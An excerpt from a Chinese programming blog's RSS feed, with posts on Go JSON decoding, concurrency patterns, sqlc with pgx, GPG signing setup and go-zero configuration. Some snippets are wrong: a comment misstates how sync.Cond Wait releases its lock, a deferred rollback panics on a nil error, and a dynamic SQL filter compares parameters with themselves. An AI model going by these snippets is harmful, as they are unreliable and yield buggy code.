&lt;p&gt;但使用 json.Unmarshal 解码数字类型到 any 类型时，会默认变为 float64，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestNumber(t *testing.T) {
	jsonStruct := map[string]int64{&quot;Int&quot;: 1}
	jsonBytes, err := json.Marshal(jsonStruct)
	if err != nil {
		fmt.Println(&quot;marshal err:&quot;, err)
	}
	fmt.Println(&quot;jsonBytes:&quot;, string(jsonBytes)) // jsonBytes: {&quot;Int&quot;:1}

	var jsonDecodeStruct map[string]any
	err = json.Unmarshal(jsonBytes, &amp;amp;jsonDecodeStruct)
	if err != nil {
		fmt.Println(&quot;unmarshal err:&quot;, err)
	}

	// dec := json.NewDecoder(bytes.NewReader(jsonBytes))
	// dec.UseNumber()
	// err = dec.Decode(&amp;amp;jsonDecodeStruct)
	// if err != nil {
	// 	fmt.Println(&quot;decode err:&quot;, err)
	// }

	fmt.Println(&quot;jsonDecodeStruct:&quot;, jsonDecodeStruct) // jsonDecodeStruct: map[Int:1]
	fmt.Printf(&quot;Int type = %T\n&quot;, jsonDecodeStruct[&quot;Int&quot;]) // Int type = float64
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;p&gt;使用注释的 json.NewDecoder 和 UseNumber 替换 json.Unmarshal 来解决。&lt;/p&gt;
&lt;p&gt;类型会变为 json.Number，底层类型为 string。&lt;/p&gt;
&lt;p&gt;这同样适用于 big.Int 类型，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestNumber(t *testing.T) {
	bigInt := big.NewInt(0)
	bigInt.SetString(&quot;144445436745653633243543634375134532532&quot;, 10)

	jsonStruct := map[string]*big.Int{&quot;Int&quot;: bigInt}
	jsonBytes, err := json.Marshal(jsonStruct)
	if err != nil {
		fmt.Println(&quot;marshal err:&quot;, err)
	}
	fmt.Println(&quot;jsonBytes:&quot;, string(jsonBytes))

	var jsonDecodeStruct map[string]any
	dec := json.NewDecoder(bytes.NewReader(jsonBytes))
	dec.UseNumber()
	err = dec.Decode(&amp;amp;jsonDecodeStruct)
	if err != nil {
		fmt.Println(&quot;decode err:&quot;, err)
	}

	fmt.Println(&quot;jsonDecodeStruct:&quot;, jsonDecodeStruct)
	fmt.Printf(&quot;Int type = %T\n&quot;, jsonDecodeStruct[&quot;Int&quot;])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类型同样是 json.Number。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://pkg.go.dev/encoding/json#Decoder.UseNumber&quot;&gt;json package - encoding/json - Go Packages&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 并发监控值变化</title><link>https://www.sulinehk.com/post/golang-concurrent-monitor-value-change/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-concurrent-monitor-value-change/</guid><pubDate>Wed, 07 May 2025 11:19:40 GMT</pubDate><content:encoded>&lt;p&gt;在上一个项目 listdb 中，需要对自定义的表结构在多台机器请求间保持同步，所以需要并发监控值变化，以下是常见的三种方法。&lt;/p&gt;
&lt;h2&gt;轮询&lt;/h2&gt;
&lt;p&gt;使用 sync/atomic 包对值进行存储和读取，当轮询发现值变化时返回。&lt;/p&gt;
&lt;p&gt;简单、无锁，但是非实时，有轮询的延迟。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package polling

import (
	&quot;log&quot;
	&quot;sync/atomic&quot;
	&quot;time&quot;
)

var val int64

func get(oldAddr *int64) int64 {
	log.Println(&quot;start get&quot;)

	// 保存值用来比较
	oldVal := *oldAddr

	for {
		log.Println(&quot;start for&quot;)

		newVal := atomic.LoadInt64(oldAddr)

		log.Println(&quot;newVal =&quot;, newVal)
		log.Println(&quot;oldVal =&quot;, oldVal)

		if newVal == oldVal {
			log.Println(&quot;start polling&quot;)

			time.Sleep(100 * time.Millisecond)
		} else {
			log.Println(&quot;end polling&quot;)
			log.Println(&quot;end for&quot;)
			log.Println(&quot;end get&quot;)

			return newVal
		}
	}
}

func set(newVal int64) {
	log.Println(&quot;start set&quot;)
	log.Println(&quot;start change val&quot;)

	atomic.StoreInt64(&amp;amp;val, newVal)

	log.Println(&quot;end change val&quot;)
	log.Println(&quot;end set&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package polling

import (
	&quot;log&quot;
	&quot;testing&quot;
	&quot;time&quot;
)

func TestPolling(t *testing.T) {
	go func() {
		time.Sleep(2 * time.Second)
		set(1)
	}()

	go func() {
		newVal := get(&amp;amp;val)
		log.Println(newVal)
	}()

	time.Sleep(3 * time.Second)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志如下，已删除部分重复数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/05/07 18:58:42 start get
2025/05/07 18:58:42 start for
2025/05/07 18:58:42 newVal = 0
2025/05/07 18:58:42 oldVal = 0
2025/05/07 18:58:42 start polling
2025/05/07 18:58:42 start for
2025/05/07 18:58:42 newVal = 0
2025/05/07 18:58:42 oldVal = 0
2025/05/07 18:58:44 start polling
2025/05/07 18:58:44 start set
2025/05/07 18:58:44 start change val
2025/05/07 18:58:44 end change val
2025/05/07 18:58:44 end set
2025/05/07 18:58:44 start for
2025/05/07 18:58:44 newVal = 1
2025/05/07 18:58:44 oldVal = 0
2025/05/07 18:58:44 end polling
2025/05/07 18:58:44 end for
2025/05/07 18:58:44 end get
2025/05/07 18:58:44 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;条件变量&lt;/h2&gt;
&lt;p&gt;先新建一个互斥锁，把锁放进 sync.Cond，通过 &lt;code&gt;Wait()&lt;/code&gt; 阻塞，值修改后通过 &lt;code&gt;Broadcast()&lt;/code&gt; 广播。&lt;/p&gt;
&lt;p&gt;sync.Cond 容易出错，不建议使用，而且需要用户自己完成部分同步工作，详见：&lt;a href=&quot;https://blogtitle.github.io/go-advanced-concurrency-patterns-part-3-channels/&quot;&gt;Go advanced concurrency patterns: part 3 (channels)&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package cond

import (
	&quot;log&quot;
	&quot;sync&quot;
)

var val int

var mu = new(sync.Mutex)

// 赋值 mu 给 cond 内部的锁
var cond = sync.NewCond(mu)

func get(old int) int {
	log.Println(&quot;start get&quot;)

	mu.Lock()
	defer mu.Unlock()

	// val 和 old 相同时，即未改变时，直接进入 for 等待改变
	// val 和 old 不相同时，直接返回 val
	for val == old {
		log.Println(&quot;start for&quot;)

		// 阻塞，接收到广播才会停止阻塞
		// cond.Wait() 之前必须获取到 mu 锁
		log.Println(&quot;start wait&quot;)
		cond.Wait()
		log.Println(&quot;end wait&quot;)
	}

	log.Println(&quot;end for&quot;)

	log.Println(&quot;end get&quot;)

	return val
}

func set(newVal int) {
	log.Println(&quot;start set&quot;)

	// 这里不会死锁吗？
	// 不会，cond.Wait() 里面每隔一段系统内置的时间，就会解除 mu 的锁
	mu.Lock()
	defer mu.Unlock()

	log.Println(&quot;start change val&quot;)
	val = newVal
	log.Println(&quot;end change val&quot;)

	// 发生消息到全部，即 cond.Wait()
	log.Println(&quot;start broadcast&quot;)
	cond.Broadcast()
	log.Println(&quot;end broadcast&quot;)

	log.Println(&quot;end set&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package cond

import (
	&quot;log&quot;
	&quot;testing&quot;
	&quot;time&quot;
)

func TestCond(t *testing.T) {
	go func() {
		time.Sleep(2 * time.Second)
		set(1)
	}()

	go func() {
		newVal := get(val)
		log.Println(newVal)
	}()

	time.Sleep(3 * time.Second)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/05/07 15:44:15 start get
2025/05/07 15:44:15 start for
2025/05/07 15:44:15 start wait
2025/05/07 15:44:17 start set
2025/05/07 15:44:17 start change val
2025/05/07 15:44:17 end change val
2025/05/07 15:44:17 start broadcast
2025/05/07 15:44:17 end broadcast
2025/05/07 15:44:17 end set
2025/05/07 15:44:17 end wait
2025/05/07 15:44:17 end for
2025/05/07 15:44:17 end get
2025/05/07 15:44:17 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;channel&lt;/h2&gt;
&lt;p&gt;类似 sync.Cond，但通过 &lt;code&gt;select&lt;/code&gt; 阻塞，值修改后通过 &lt;code&gt;close channel&lt;/code&gt; 广播。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package channel

import (
	&quot;context&quot;
	&quot;log&quot;
	&quot;sync&quot;
)

var val int

var mu sync.Mutex

var done = make(chan struct{})

func get(ctx context.Context, old int) (int, bool) {
	log.Println(&quot;start get&quot;)

	mu.Lock()
	// 获取值的复制
	v, ch := val, done
	mu.Unlock()

	// val 和 old 相同时，即未改变时，直接进入 for
	// val 和 old 不相同时，直接返回 val
	for v == old {
		log.Println(&quot;start for&quot;)

		log.Println(&quot;start wait&quot;)
		select {
		case &amp;lt;-ctx.Done():
			return 0, false // false = timeout
		case &amp;lt;-ch:
			mu.Lock()
			log.Println(&quot;start get val&quot;)
			v, ch = val, done
			log.Println(&quot;end get val&quot;)
			mu.Unlock()
		}

		log.Println(&quot;end wait&quot;)
	}

	log.Println(&quot;end for&quot;)

	log.Println(&quot;end get&quot;)

	return v, true
}

func set(newVal int) {
	log.Println(&quot;start set&quot;)

	mu.Lock()
	defer mu.Unlock()

	log.Println(&quot;start change val&quot;)
	val = newVal
	log.Println(&quot;end change val&quot;)

	log.Println(&quot;start close chan&quot;)
	close(done)
	log.Println(&quot;end close chan&quot;)

	// 因为 close 了的通道无法再次使用，这里重新 make 一个
	done = make(chan struct{})
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;package channel

import (
	&quot;context&quot;
	&quot;log&quot;
	&quot;testing&quot;
	&quot;time&quot;
)

func TestChannel(t *testing.T) {
	go func() {
		time.Sleep(2 * time.Second)
		set(1)
	}()

	go func() {
		ctx := context.Background()
		newVal, ok := get(ctx, val)
		log.Println(newVal)
		log.Println(ok)
	}()

	time.Sleep(3 * time.Second)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025/05/07 15:54:08 start get
2025/05/07 15:54:08 start for
2025/05/07 15:54:08 start wait
2025/05/07 15:54:10 start set
2025/05/07 15:54:10 start change val
2025/05/07 15:54:10 end change val
2025/05/07 15:54:10 start close chan
2025/05/07 15:54:10 end close chan
2025/05/07 15:54:10 start get val
2025/05/07 15:54:10 end get val
2025/05/07 15:54:10 end wait
2025/05/07 15:54:10 end for
2025/05/07 15:54:10 end get
2025/05/07 15:54:10 1
2025/05/07 15:54:10 true
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Golang</category></item><item><title>go run main.go 返回未定义错误</title><link>https://www.sulinehk.com/post/go-run-maingo-return-undefined-error/</link><guid isPermaLink="true">https://www.sulinehk.com/post/go-run-maingo-return-undefined-error/</guid><pubDate>Sun, 04 May 2025 12:09:09 GMT</pubDate><content:encoded>&lt;h2&gt;问题&lt;/h2&gt;
&lt;p&gt;在上一个项目 listdb 中，客户希望能够让第三方开发人员方便理解，所以没有使用流行的 Golang 项目结构，而是直接将所有文件平铺到 main 包。&lt;/p&gt;
&lt;p&gt;但当 main.go 和它所依赖的 go 文件在 main 包时，只运行 &lt;code&gt;go run main.go&lt;/code&gt; 会返回未定义错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# command-line-arguments
./main.go:42:13: undefined: Setup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其它 go 命令不会返回错误，如：&lt;code&gt;go build&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;这是因为 &lt;code&gt;go run main.go&lt;/code&gt; 只传递了 main.go 作为源文件列表，没有自动解析依赖。&lt;/p&gt;
&lt;h2&gt;解决方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;直接传递所有依赖，如：&lt;code&gt;go run main.go dependency.go&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用通配符传递所有依赖，如：&lt;code&gt;go run .&lt;/code&gt; 或者 &lt;code&gt;go run *.go&lt;/code&gt;。不过后者在有测试文件时不可用。&lt;/li&gt;
&lt;li&gt;把依赖项移出 main 包，go 会自动解析依赖。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.tencent.com/developer/article/1521790&quot;&gt;[golang]Go常见问题：# command-line-arguments: ***: undefined: ***&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>sqlc 配合 pgx 使用事务</title><link>https://www.sulinehk.com/post/sqlc-use-transaction-with-pgx/</link><guid isPermaLink="true">https://www.sulinehk.com/post/sqlc-use-transaction-with-pgx/</guid><pubDate>Sat, 18 May 2024 06:51:09 GMT</pubDate><content:encoded>&lt;h2&gt;获取链接&lt;/h2&gt;
&lt;p&gt;首先，需要通过 pgx 获取一个链接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func Setup(ctx context.Context, DSN string) *pgx.Conn {
	conn, err := pgx.Connect(ctx, DSN)
	if err != nil {
		log.Fatal(err)
	}
	return conn
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;开始事务&lt;/h2&gt;
&lt;p&gt;然后，在返回的链接结构体上，调用 Begin 方法来开始一个事务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;transaction, err := conn.Begin(ctx)
if err != nil {
	Err(w, errcode.Database)
	return
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;回滚数据&lt;/h2&gt;
&lt;p&gt;如果需要在发生错误时回滚，可以通过 defer 捕捉错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defer func() {
	err := transaction.Rollback(ctx)
	if !errors.Is(err, pgx.ErrTxClosed) {
		panic(err)
	}
}()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;查询&lt;/h2&gt;
&lt;p&gt;查询时，需要使用 sqlc 生成的代码来和 pgx 配合。&lt;/p&gt;
&lt;p&gt;sqlc 生成的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func New(db DBTX) *Queries {
	return &amp;amp;Queries{db: db}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过传入 Begin 返回的事务来配合 sqlc：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;query := New(transaction)

exist, err := query.CheckUserByUsername(ctx, params.Username)
if err != nil {
	Err(w, errcode.Database)
	return
}
if exist {
	Err(w, errcode.UsernameOccupy)
	return
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提交&lt;/h2&gt;
&lt;p&gt;最后，通过调用 Commit 完成提交：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;err = transaction.Commit(ctx)
if err != nil {
	Err(w, errcode.Database)
	return
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>sqlc</category></item><item><title>sqlc 检查行是否存在</title><link>https://www.sulinehk.com/post/sqlc-check-row-exist/</link><guid isPermaLink="true">https://www.sulinehk.com/post/sqlc-check-row-exist/</guid><pubDate>Sat, 18 May 2024 06:36:00 GMT</pubDate><content:encoded>&lt;p&gt;在使用 sqlc 时，有时候需要检查行是否存在。&lt;/p&gt;
&lt;p&gt;这时可以使用 SQL 的 SELECT EXISTS 语法来实现，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- name: CheckUserByID :one
SELECT EXISTS (SELECT 1 FROM app_user WHERE id = $1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (q *Queries) CheckUserByID(ctx context.Context, id int32) (bool, error)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回的 bool 为 true 时，表示行存在；为 false 时，表示行不存在。&lt;/p&gt;
</content:encoded><category>sqlc</category></item><item><title>sqlc 使用切片作为查询条件</title><link>https://www.sulinehk.com/post/sqlc-use-slice-as-query-condition/</link><guid isPermaLink="true">https://www.sulinehk.com/post/sqlc-use-slice-as-query-condition/</guid><pubDate>Sat, 18 May 2024 05:23:57 GMT</pubDate><content:encoded>&lt;p&gt;使用 sqlc 时，有时候需要使用切片作为查询条件。&lt;/p&gt;
&lt;p&gt;这里有两种方法：&lt;/p&gt;
&lt;h2&gt;方法 1&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;=&lt;/code&gt; 号后面，使用 &lt;code&gt;ANY($1::int[])&lt;/code&gt;。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- name: ListUserRoleByUserIDList :many
SELECT *
FROM user_role
WHERE user_id = ANY($1::int[]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 &lt;code&gt;int&lt;/code&gt; 表示 &lt;code&gt;$1&lt;/code&gt; 字段的类型，&lt;code&gt;[]&lt;/code&gt; 表示切片。&lt;/p&gt;
&lt;p&gt;生成的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (q *Queries) ListUserRoleByUserIDList(ctx context.Context, dollar_1 []int32) ([]UserRole, error)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样就可以传入切片作为查询条件了。&lt;/p&gt;
&lt;h2&gt;方法 2&lt;/h2&gt;
&lt;p&gt;sqlc 更新后，可以使用 &lt;code&gt;sqlc.slice&lt;/code&gt; 来表示切片。例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- name: Foo :many
SELECT * FROM foo WHERE hash IN (sqlc.slice(hashes)) LIMIT 50;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func (q *Queries) Foo(ctx context.Context, hashes []string) ([]string, error)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/sqlc-dev/sqlc/issues/167&quot;&gt;Support dynamic sized IN clauses #167&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>sqlc</category></item><item><title>sqlc 动态查询方法</title><link>https://www.sulinehk.com/post/sqlc-dynamic-query-method/</link><guid isPermaLink="true">https://www.sulinehk.com/post/sqlc-dynamic-query-method/</guid><pubDate>Sat, 18 May 2024 05:09:07 GMT</pubDate><content:encoded>&lt;p&gt;在使用 sqlc 时，有时候需要对字段进行动态查询，即字段不为空时，才使用该条件。&lt;/p&gt;
&lt;p&gt;这时可以使用 SQL 的 OR 语法来实现，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- name: ListUser :many
SELECT *
FROM app_user
WHERE ($1::VARCHAR = &apos;&apos; OR $1::VARCHAR ILIKE &apos;%&apos; || $1 || &apos;%&apos;)
AND ($2::VARCHAR = &apos;&apos; OR $2::VARCHAR ILIKE &apos;%&apos; || $2 || &apos;%&apos;)
AND ($3::VARCHAR = &apos;&apos; OR $3::VARCHAR = $3)
AND id &amp;gt; $4;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;当 $1、$2、$3 参数为空时，对应的条件子句对结果没影响；&lt;/li&gt;
&lt;li&gt;当 $1、$2、$3 参数不为空时，对应的条件子句才会使用 OR 后面的条件。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>sqlc</category></item><item><title>如何在 git 提交签名 commit 时不用输入密码</title><link>https://www.sulinehk.com/post/how-to-commit-without-enter-password-in-git/</link><guid isPermaLink="true">https://www.sulinehk.com/post/how-to-commit-without-enter-password-in-git/</guid><pubDate>Tue, 26 Mar 2024 06:22:07 GMT</pubDate><content:encoded>&lt;h2&gt;描述&lt;/h2&gt;
&lt;p&gt;在使用 git 提交经过 GPG 签名的 commit 时，总是需要输入密码。&lt;/p&gt;
&lt;p&gt;通过以下步骤可以把密码缓存到内存中。&lt;/p&gt;
&lt;h2&gt;步骤&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;启用缓存：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;echo -e &apos;\nallow-preset-passphrase&apos; &amp;gt;&amp;gt; ~/.gnupg/gpg-agent.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;重启 gpg-agent：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;gpg-connect-agent reloadagent /bye
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;列出自己的钥匙柄（Keygrip）：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;gpg --list-secret-keys --with-keygrip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sec   rsa3072 2024-03-26 [SC]
      0E74F8A5B4DEC1A2438BBA99B9FFC9D459B25AAB
      Keygrip = 581BCFFCADF4B32D352CBA8364D5B32102348BAB
uid           [ultimate] example &amp;lt;example@gmail.com&amp;gt;
ssb   rsa3072 2024-03-26 [E]
      Keygrip = 32883E610AEF2CDC1D27F94B2B893D5E18E33052
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;通过 gpg-preset-passphrase 把密码缓存到内存中：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/gnupg/gpg-preset-passphrase --preset 581BCFFCADF4B32D352CBA8364D5B32102348BAB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--preset&lt;/code&gt; 的参数是上一步输出中，sec 里面的 Keygrip。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bmaingret.github.io/blog/2022-02-15-1Password-gpg-git-seamless-commits-signing&quot;&gt;Using 1password, GPG and git for seamless commits signing&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>修复 WSL2 中 git commit 报错的问题</title><link>https://www.sulinehk.com/post/fix-git-commit-error-in-wsl2/</link><guid isPermaLink="true">https://www.sulinehk.com/post/fix-git-commit-error-in-wsl2/</guid><pubDate>Tue, 26 Mar 2024 04:21:25 GMT</pubDate><content:encoded>&lt;h2&gt;描述&lt;/h2&gt;
&lt;p&gt;在 WSL2 中，使用 git 提交经过 GPG 签名的 commit 时，会出现以下错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;error: gpg failed to sign the data
fatal: failed to write commit object
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;原因&lt;/h2&gt;
&lt;p&gt;这是因为 WSL2 的网络模式会造成回环（loopback），使得用于读取密码的工具 pinentry 出错，进而导致 GPG 无法对 commit 进行签名。&lt;/p&gt;
&lt;h2&gt;解决方法&lt;/h2&gt;
&lt;p&gt;通过以下命令配置 pinentry 允许回环来修复：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -e &apos;\nuse-agent\npinentry-mode loopback&apos; &amp;gt;&amp;gt; ~/.gnupg/gpg.conf
echo -e &apos;\nallow-loopback-pinentry&apos; &amp;gt;&amp;gt; ~/.gnupg/gpg-agent.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/paolocarrasco/18ca8fe6e63490ae1be23e84a7039374&quot;&gt;How to understand the &lt;code&gt;gpg failed to sign the data&lt;/code&gt; problem in git&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>在 go-zero 中通过 etcd 调用其他服务</title><link>https://www.sulinehk.com/post/call-other-services-through-etcd-in-go-zero/</link><guid isPermaLink="true">https://www.sulinehk.com/post/call-other-services-through-etcd-in-go-zero/</guid><pubDate>Fri, 22 Mar 2024 04:11:00 GMT</pubDate><content:encoded>&lt;p&gt;在 go-zero 中通过 etcd 调用其他服务时，需要遵循以下步骤。&lt;/p&gt;
&lt;p&gt;假设调用方为 user 服务，被调用方为 blog 服务。&lt;/p&gt;
&lt;h2&gt;1. 在配置文件中添加字段&lt;/h2&gt;
&lt;p&gt;路径为：service/user/rpc/etc/user.yaml&lt;/p&gt;
&lt;p&gt;新增的字段为 BlogConf：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Name: user.rpc
ListenOn: 0.0.0.0:10000
Etcd:
  Hosts:
  - etcd-single:2379
  Key: user.rpc
DB:
  DataSource: postgresql://dev:dev@postgresql:5432/go_blogger?sslmode=disable
Cache:
  - Host: redis:6379
BlogConf:
  Endpoints:
    - etcd-single:10001
  NonBlock: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中 etcd-single 表示 etcd 的地址，10001 为 blog 服务的端口号。&lt;/p&gt;
&lt;h2&gt;2. 在配置结构体中添加字段&lt;/h2&gt;
&lt;p&gt;路径为：service/user/rpc/internal/config/config.go&lt;/p&gt;
&lt;p&gt;新增的字段为 BlogConf：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Config struct {
	zrpc.RpcServerConf
	DB struct {
		DataSource string
	}
	Cache    cache.CacheConf
	BlogConf zrpc.RpcClientConf
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. 在服务注册时添加字段&lt;/h2&gt;
&lt;p&gt;路径为：service/user/rpc/internal/svc/service_context.go&lt;/p&gt;
&lt;p&gt;分别在 ServiceContext 结构体和 NewServiceContext 函数中新增字段 BlogService：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package svc

import (
	&quot;github.com/linehk/go-microservices-blogger/service/blog/rpc/blogservice&quot;
	&quot;github.com/linehk/go-microservices-blogger/service/user/rpc/internal/config&quot;
	&quot;github.com/linehk/go-microservices-blogger/service/user/rpc/model&quot;
	&quot;github.com/zeromicro/go-zero/core/stores/postgres&quot;
	&quot;github.com/zeromicro/go-zero/core/stores/redis&quot;
	&quot;github.com/zeromicro/go-zero/zrpc&quot;
)

type ServiceContext struct {
	Config       config.Config
	RedisClient  *redis.Redis
	AppUserModel model.AppUserModel
	LocaleModel  model.LocaleModel
	BlogService  blogservice.BlogService
}

func NewServiceContext(c config.Config) *ServiceContext {
	conn := postgres.New(c.DB.DataSource)
	redisConf := redis.RedisConf{
		Host: c.Cache[0].Host,
		Type: redis.NodeType,
	}
	
	return &amp;amp;ServiceContext{
		Config:       c,
		RedisClient:  redis.MustNewRedis(redisConf),
		AppUserModel: model.NewAppUserModel(conn, c.Cache),
		LocaleModel:  model.NewLocaleModel(conn, c.Cache),
		BlogService:  blogservice.NewBlogService(zrpc.MustNewClient(c.BlogConf)),
	}
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全部代码可以查看 &lt;a href=&quot;https://github.com/linehk/go-microservices-blogger&quot;&gt;go-microservices-blogger&lt;/a&gt;。&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Golang 测试替代</title><link>https://www.sulinehk.com/post/golang-test-doubles/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-test-doubles/</guid><pubDate>Tue, 12 Mar 2024 08:01:33 GMT</pubDate><content:encoded>&lt;h2&gt;什么是测试替代&lt;/h2&gt;
&lt;p&gt;测试替代（Test Doubles）一种用于在测试中替代真实实现的技术。&lt;/p&gt;
&lt;h2&gt;简单的实现&lt;/h2&gt;
&lt;p&gt;假设我们需要实现一个电话簿功能，可以通过姓名来查找号码。&lt;/p&gt;
&lt;p&gt;一个简单的实现可能像这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Person struct {
	FirstName string
	LastName  string
	Phone     string
}

type Phonebook struct {
	People []*Person
}

var (
	ArgumentWrong  = errors.New(&quot;argument error&quot;)
	PersonNotExist = errors.New(&quot;person not exist&quot;)
)

func FindPhone(people *Phonebook, firstName, lastName string) (string, error) {
	if firstName == &quot;&quot; || lastName == &quot;&quot; {
		return &quot;&quot;, ArgumentWrong
	}
	for _, p := range people.People {
		if p.FirstName == firstName &amp;amp;&amp;amp; p.LastName == lastName {
			return p.Phone, nil
		}
	}
	return &quot;&quot;, PersonNotExist
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应的测试函数为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var phonebook = &amp;amp;Phonebook{People: []*Person{
	{
		FirstName: &quot;FirstName1&quot;,
		LastName:  &quot;LastName1&quot;,
		Phone:     &quot;Phone1&quot;,
	},
	{
		FirstName: &quot;FirstName2&quot;,
		LastName:  &quot;LastName2&quot;,
		Phone:     &quot;Phone2&quot;,
	},
}}

func TestFindPhone(t *testing.T) {
	tests := []struct {
		inputFirstName string
		inputLastName  string
		wantPhone      string
		wantErr        error
	}{
		{&quot;FirstName1&quot;, &quot;LastName1&quot;, &quot;Phone1&quot;, nil},
		{&quot;&quot;, &quot;&quot;, &quot;&quot;, ArgumentWrong},
		{&quot;FirstName3&quot;, &quot;LastName3&quot;, &quot;&quot;, PersonNotExist},
	}

	for _, tt := range tests {
		gotPhone, gotErr := FindPhone(phonebook, tt.inputFirstName, tt.inputLastName)
		if gotPhone != tt.wantPhone {
			t.Errorf(&quot;got %v, want %v&quot;, gotPhone, tt.wantPhone)
		}
		if !errors.Is(gotErr, tt.wantErr) {
			t.Errorf(&quot;gotErr %v, wantErr %v&quot;, gotErr, tt.wantErr)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，这样的实现不利于解耦，如果我们希望换一种搜索方式，就需要重新实现函数。&lt;/p&gt;
&lt;h2&gt;基于接口的实现&lt;/h2&gt;
